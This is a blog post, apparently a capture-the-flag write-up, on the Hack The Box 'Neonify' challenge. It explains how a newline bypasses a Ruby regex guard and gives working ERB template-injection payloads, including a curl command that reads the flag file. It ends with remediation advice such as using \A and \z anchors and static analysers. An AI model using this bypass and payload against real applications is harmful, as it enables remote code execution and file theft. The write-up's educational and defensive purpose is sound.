The dangers of single line regular expressions

19 Apr 2024

The Neonify challenge on Hack The Box is a small Sinatra(a Ruby web framework) app, that generates a glowing text of the submitted value:

neonify

Since it is a challenge, we have access to the source code, so instead of trying to find a vulnerability by testing the input, we can check the code to see if we spot any issues.
Let’s look at the controller:

class NeonControllers < Sinatra::Base

  configure do
    set :views, "app/views"
    set :public_dir, "public"
  end

  get '/' do
    @neon = "Glow With The Flow"
    erb :'index'
  end

  post '/' do
    if params[:neon] =~ /^[0-9a-z ]+$/i
      @neon = ERB.new(params[:neon]).result(binding)
    else
      @neon = "Malicious Input Detected"
    end
    erb :'index'
  end

end

As we can see the post request uses a regular expression to only permit numbers, letters and spaces and it passes the value to ERB.new if it matches the regular expression, and the string gets evaluated. If we can bypass the regular expression check, we can execute any ruby code in ERB. The flag is in /app/flag.txt, so we could read it with <%= File.read('/app/flag.txt') %>.
If you look at the regular expression, you might notice that it starts with ^(beginning of line) and ends with $(end of line) and that makes it possible to bypass it by using a multiline string. We can embed a line break character after a few characters to the payload and then our ruby snippet to extract the flag. We don’t even need Burp or an intercepting proxy, we can just use curl to get the flag:

curl -d 'neon=hello%0a%3C%25%3D%20File.open%28%27flag.txt%27%29.read%20%25%3E' TARGET_HOST

As you can see they payload starts with the string “hello”, followed by %0a, that’s the URL encoded version of a line break, then the URL encoded ERB snippet to extract the flag.

This little challenge demonstrates well the danger of of using single line regular expressions. To prevent such an issue from happening, the regular expression should’ve started with \A(start of string) and end with \z(end of string).

Besides that, try to avoid using user controller values at places where code can be executed.

Active Record validations warn about such an issue and if you use a static code analyser like spektr or brakeman, those should help to catch these issues before they reach production.

Hire me for a penetration test

Let's find the security holes before the bad guys do.

Or follow me on Twitter

Related posts